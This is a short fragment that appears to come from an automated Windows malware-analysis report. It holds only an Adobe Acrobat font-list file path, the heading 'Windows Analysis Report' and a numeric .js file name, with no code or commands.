C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7964

Windows Analysis Report
390712401072120127.js